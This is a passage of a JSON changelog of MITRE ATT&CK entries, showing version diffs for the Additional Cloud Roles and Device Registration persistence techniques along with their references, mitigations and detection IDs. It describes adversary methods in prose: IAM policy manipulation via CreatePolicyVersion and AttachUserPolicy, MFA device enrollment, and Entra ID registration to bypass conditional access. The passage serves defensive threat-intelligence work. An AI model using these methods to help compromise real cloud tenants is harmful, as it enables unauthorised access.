class=\"diff_header\">></td><td nowrap=\"nowrap\">irements.&nbsp;Additionally,&nbsp;app&nbsp;passwords&nbsp;may&nbsp;remain&nbsp;valid&nbsp;even&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;if&nbsp;the&nbsp;user\u2019s&nbsp;primary&nbsp;password&nbsp;is&nbsp;reset.(Citation:&nbsp;Microsof</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">if&nbsp;the&nbsp;user\u2019s&nbsp;primary&nbsp;password&nbsp;is&nbsp;reset.(Citation:&nbsp;Microsoft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Entra&nbsp;ID&nbsp;App&nbsp;Passwords)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Entra&nbsp;ID&nbsp;App&nbsp;Passwords)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management",
                            "M1030: Network Segmentation",
                            "M1032: Multi-factor Authentication",
                            "M1042: Disable or Remove Feature or Program"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0531: Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-19 16:59:45.362000+00:00",
                    "modified": "2026-11-04 01:15:48.758000+00:00",
                    "name": "Additional Cloud Roles",
                    "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1098/003",
                            "external_id": "T1098.003"
                        },
                        {
                            "source_name": "Expel AWS Attacker",
                            "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
                            "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
                        },
                        {
                            "source_name": "Microsoft O365 Admin Roles",
                            "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
                            "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
                        },
                        {
                            "source_name": "AWS IAM Policies and Permissions",
                            "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
                            "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
                        },
                        {
                            "source_name": "Google Cloud IAM Policies",
                            "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
                            "url": "https://cloud.google.com/iam/docs/policies"
                        },
                        {
                            "source_name": "Invictus IR DangerDev 2024",
                            "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
                            "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
                        },
                        {
                            "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                            "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
                            "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
                        },
                        {
                            "source_name": "Rhino Security Labs AWS Privilege Escalation",
                            "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                            "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Threat Intelligence Center (MSTIC)",
                        "Alex Parsons, Crowdstrike",
                        "Chris Romano, Crowdstrike",
                        "Wojciech Lesicki",
                        "Pi\u00e0 Consigny, Tenable",
                        "Cl\u00e9ment Notin, Tenable",
                        "Praetorian",
                        "Alex Soler, AttackIQ",
                        "Arad Inbar, Fidelis Security",
                        "Arun Seelagan, CISA"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS",
                        "Identity Provider",
                        "Office Suite",
                        "SaaS"
                    ],
                    "x_mitre_version": "2.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:15:48.758000+00:00\", \"old_value\": \"2025-10-24 17:48:35.082000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles) \\n\\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n\\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\\n\\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)\", \"old_value\": \"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\\n(Citation: Microsoft O365 Admin Roles) \\n\\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n\\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\\n\\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,4 @@\\n-An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\\n-(Citation: Microsoft O365 Admin Roles) \\n+An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles) \\n \\n This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "2.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to87__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to87__0\"><a href=\"#difflib_chg_to87__top\">t</a></td><td class=\"diff_header\" id=\"from87_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;add&nbsp;additional&nbsp;roles&nbsp;or&nbsp;permissions&nbsp;to&nbsp;an&nbsp;a</td><td class=\"diff_next\"><a href=\"#difflib_chg_to87__top\">t</a></td><td class=\"diff_header\" id=\"to87_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;add&nbsp;additional&nbsp;roles&nbsp;or&nbsp;permissions&nbsp;to&nbsp;an&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary-controlled&nbsp;cloud&nbsp;account&nbsp;to&nbsp;maintain&nbsp;persistent&nbsp;acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary-controlled&nbsp;cloud&nbsp;account&nbsp;to&nbsp;maintain&nbsp;persistent&nbsp;acc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;to&nbsp;a&nbsp;tenant.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;update&nbsp;IAM&nbsp;pol</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;to&nbsp;a&nbsp;tenant.&nbsp;For&nbsp;example,&nbsp;adversaries&nbsp;may&nbsp;update&nbsp;IAM&nbsp;pol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icies&nbsp;in&nbsp;cloud-based&nbsp;environments&nbsp;or&nbsp;add&nbsp;a&nbsp;new&nbsp;global&nbsp;admini</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icies&nbsp;in&nbsp;cloud-based&nbsp;environments&nbsp;or&nbsp;add&nbsp;a&nbsp;new&nbsp;global&nbsp;admini</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strator&nbsp;in&nbsp;Office&nbsp;365&nbsp;environments.(Citation:&nbsp;AWS&nbsp;IAM&nbsp;Polici</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">strator&nbsp;in&nbsp;Office&nbsp;365&nbsp;environments.(Citation:&nbsp;AWS&nbsp;IAM&nbsp;Polici</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;and&nbsp;Permissions)(Citation:&nbsp;Google&nbsp;Cloud&nbsp;IAM&nbsp;Policies)(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;and&nbsp;Permissions)(Citation:&nbsp;Google&nbsp;Cloud&nbsp;IAM&nbsp;Policies)(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Microsoft&nbsp;Support&nbsp;O365&nbsp;Add&nbsp;Another&nbsp;Admin,&nbsp;October&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Microsoft&nbsp;Support&nbsp;O365&nbsp;Add&nbsp;Another&nbsp;Admin,&nbsp;October&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)(Citation:&nbsp;Microsoft&nbsp;O365&nbsp;Admin&nbsp;Roles)&nbsp;With&nbsp;sufficient&nbsp;per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)(Citation:&nbsp;Microsoft&nbsp;O365&nbsp;Admin&nbsp;Roles)&nbsp;With&nbsp;sufficient&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions,&nbsp;a&nbsp;compromised&nbsp;account&nbsp;can&nbsp;gain&nbsp;almost&nbsp;unlimited&nbsp;ac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">missions,&nbsp;a&nbsp;compromised&nbsp;account&nbsp;can&nbsp;gain&nbsp;almost&nbsp;unlimited&nbsp;ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;to&nbsp;data&nbsp;and&nbsp;settings&nbsp;(including&nbsp;the&nbsp;ability&nbsp;to&nbsp;reset&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;to&nbsp;data&nbsp;and&nbsp;settings&nbsp;(including&nbsp;the&nbsp;ability&nbsp;to&nbsp;reset&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;passwords&nbsp;of&nbsp;other&nbsp;admins).(Citation:&nbsp;Expel&nbsp;AWS&nbsp;Attacker)<span class=\"diff_sub\">&nbsp;</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;passwords&nbsp;of&nbsp;other&nbsp;admins).(Citation:&nbsp;Expel&nbsp;AWS&nbsp;Attacker)(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\"></span>(Citation:&nbsp;Microsoft&nbsp;O365&nbsp;Admin&nbsp;Roles)&nbsp;&nbsp;&nbsp;This&nbsp;account&nbsp;modifi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Microsoft&nbsp;O365&nbsp;Admin&nbsp;Roles)&nbsp;&nbsp;&nbsp;This&nbsp;account&nbsp;modific</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;may&nbsp;immediately&nbsp;follow&nbsp;[Create&nbsp;Account](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;may&nbsp;immediately&nbsp;follow&nbsp;[Create&nbsp;Account](https://attack</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1136)&nbsp;or&nbsp;other&nbsp;malicious&nbsp;account&nbsp;act</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1136)&nbsp;or&nbsp;other&nbsp;malicious&nbsp;account&nbsp;acti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivity.&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;modify&nbsp;existing&nbsp;[Valid&nbsp;Accounts]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vity.&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;modify&nbsp;existing&nbsp;[Valid&nbsp;Accounts](</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1078)&nbsp;that&nbsp;they&nbsp;have&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1078)&nbsp;that&nbsp;they&nbsp;have&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ompromised.&nbsp;This&nbsp;could&nbsp;lead&nbsp;to&nbsp;privilege&nbsp;escalation,&nbsp;particu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mpromised.&nbsp;This&nbsp;could&nbsp;lead&nbsp;to&nbsp;privilege&nbsp;escalation,&nbsp;particul</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">larly&nbsp;if&nbsp;the&nbsp;roles&nbsp;added&nbsp;allow&nbsp;for&nbsp;lateral&nbsp;movement&nbsp;to&nbsp;addit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">arly&nbsp;if&nbsp;the&nbsp;roles&nbsp;added&nbsp;allow&nbsp;for&nbsp;lateral&nbsp;movement&nbsp;to&nbsp;additi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ional&nbsp;accounts.&nbsp;&nbsp;For&nbsp;example,&nbsp;in&nbsp;AWS&nbsp;environments,&nbsp;an&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onal&nbsp;accounts.&nbsp;&nbsp;For&nbsp;example,&nbsp;in&nbsp;AWS&nbsp;environments,&nbsp;an&nbsp;adversa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;with&nbsp;appropriate&nbsp;permissions&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;use&nbsp;the&nbsp;&lt;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;with&nbsp;appropriate&nbsp;permissions&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;use&nbsp;the&nbsp;&lt;code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;CreatePolicyVersion&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;define&nbsp;a&nbsp;new&nbsp;version&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;CreatePolicyVersion&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;define&nbsp;a&nbsp;new&nbsp;version&nbsp;of&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;IAM&nbsp;policy&nbsp;or&nbsp;the&nbsp;&lt;code&gt;AttachUserPolicy&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;IAM&nbsp;policy&nbsp;or&nbsp;the&nbsp;&lt;code&gt;AttachUserPolicy&lt;/code&gt;&nbsp;API&nbsp;to&nbsp;att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tach&nbsp;an&nbsp;IAM&nbsp;policy&nbsp;with&nbsp;additional&nbsp;or&nbsp;distinct&nbsp;permissions&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ach&nbsp;an&nbsp;IAM&nbsp;policy&nbsp;with&nbsp;additional&nbsp;or&nbsp;distinct&nbsp;permissions&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;a&nbsp;compromised&nbsp;user&nbsp;account.(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;compromised&nbsp;user&nbsp;account.(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AWS&nbsp;Privilege&nbsp;Escalation)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversaries&nbsp;may&nbsp;ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">WS&nbsp;Privilege&nbsp;Escalation)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversaries&nbsp;may&nbsp;add</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;roles&nbsp;to&nbsp;adversary-controlled&nbsp;accounts&nbsp;outside&nbsp;the&nbsp;victim&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;roles&nbsp;to&nbsp;adversary-controlled&nbsp;accounts&nbsp;outside&nbsp;the&nbsp;victim&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cloud&nbsp;tenant.&nbsp;This&nbsp;allows&nbsp;these&nbsp;external&nbsp;accounts&nbsp;to&nbsp;perform</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loud&nbsp;tenant.&nbsp;This&nbsp;allows&nbsp;these&nbsp;external&nbsp;accounts&nbsp;to&nbsp;perform&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;actions&nbsp;inside&nbsp;the&nbsp;victim&nbsp;tenant&nbsp;without&nbsp;requiring&nbsp;the&nbsp;adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">actions&nbsp;inside&nbsp;the&nbsp;victim&nbsp;tenant&nbsp;without&nbsp;requiring&nbsp;the&nbsp;adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsary&nbsp;to&nbsp;[Create&nbsp;Account](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sary&nbsp;to&nbsp;[Create&nbsp;Account](https://attack.mitre.org/techniques</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1136)&nbsp;or&nbsp;modify&nbsp;a&nbsp;victim-owned&nbsp;account.(Citation:&nbsp;Invictu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/T1136)&nbsp;or&nbsp;modify&nbsp;a&nbsp;victim-owned&nbsp;account.(Citation:&nbsp;Invictus</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;IR&nbsp;DangerDev&nbsp;2024)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;IR&nbsp;DangerDev&nbsp;2024)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0277: Detection Strategy for Role Addition to Cloud Accounts"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2022-03-04 18:30:38.989000+00:00",
                    "modified": "2026-11-04 00:26:40.597000+00:00",
                    "name": "Device Registration",
                    "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.(Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\n\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1098/005",
                            "external_id": "T1098.005"
                        },
                        {
                            "source_name": "Expel Atlas Lion 2025",
                            "description": "Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.",
                            "url": "https://expel.com/blog/observing-atlas-lion-part-one/"
                        },
                        {
                            "source_name": "CISA MFA PrintNightmare",
                            "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
                            "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
                        },
                        {
                            "source_name": "Mandiant APT29 Microsoft 365 2022",
                            "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                            "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                        },
                        {
                            "source_name": "AADInternals - Conditional Access Bypass",
                            "description": "Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022.",
                            "url": "https://o365blog.com/post/mdm"
                        },
                        {
                            "source_name": "AADInternals - BPRT",
                            "description": "Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.",
